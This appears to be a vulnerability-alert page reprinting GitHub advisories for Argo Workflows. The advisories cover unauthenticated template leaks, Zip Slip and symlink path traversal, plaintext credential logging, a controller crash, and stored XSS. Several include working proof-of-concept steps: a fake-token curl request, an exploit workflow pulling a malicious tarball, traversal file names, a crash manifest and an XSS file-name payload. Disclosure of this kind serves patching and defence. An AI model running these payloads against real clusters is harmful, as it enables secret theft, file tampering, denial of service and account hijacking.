Where
AND
-Infinity
0
Severity
9.8
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflowtemplateserver.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/clusterworkflowtemplateserver.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC 1. Create template

yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token

Result:

cmd kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Vulnerability Description

Vulnerability Overview

1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call, 2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc, 4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc", 5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container 2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload 3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal 4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory 5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container 6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. 4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory. 5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {}

exploit

1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />

2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />

3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />

4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />

5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />

bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read workflow-controller logs and get credentials to the artifact repository.

Details An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The workflow-controller logs show the credentials in plaintext.

<img width="1366" alt="screen" src="https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698" />

Impact An attacker with access to pod logs in the argo namespace can extract plaintext credentials from the workflow-controller logs and gain access to the artifact repository. This can lead to: - Data exfiltration – theft of sensitive or proprietary artifacts - Data tampering – modification of workflows or artifacts - Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.

Details The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037

PoC 1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname". 2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp. 3. Submit the workflow and wait for its execution. 4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way.

Impact The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Summary

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

go func podGCFromPod(pod apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} }

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.05%
XSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details The directory listing response in server/artifacts/artifactserver.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifactserver.go#L194-L244

PoC 1. Deploy Argo Workflows: kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres 2. Port‑forward Argo Server: kubectl -n argo port-forward deploy/argo-server 2746:2746 3. Create the PoC workflow: yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF kubectl -n argo create -f /tmp/argo-xss.yaml 4. Wait for completion: kubectl -n argo get wf -w 5. Get the node ID: kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.}{.id}{"\t"}{.displayName}{"\n"}{end}' 6. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/

<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />

Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203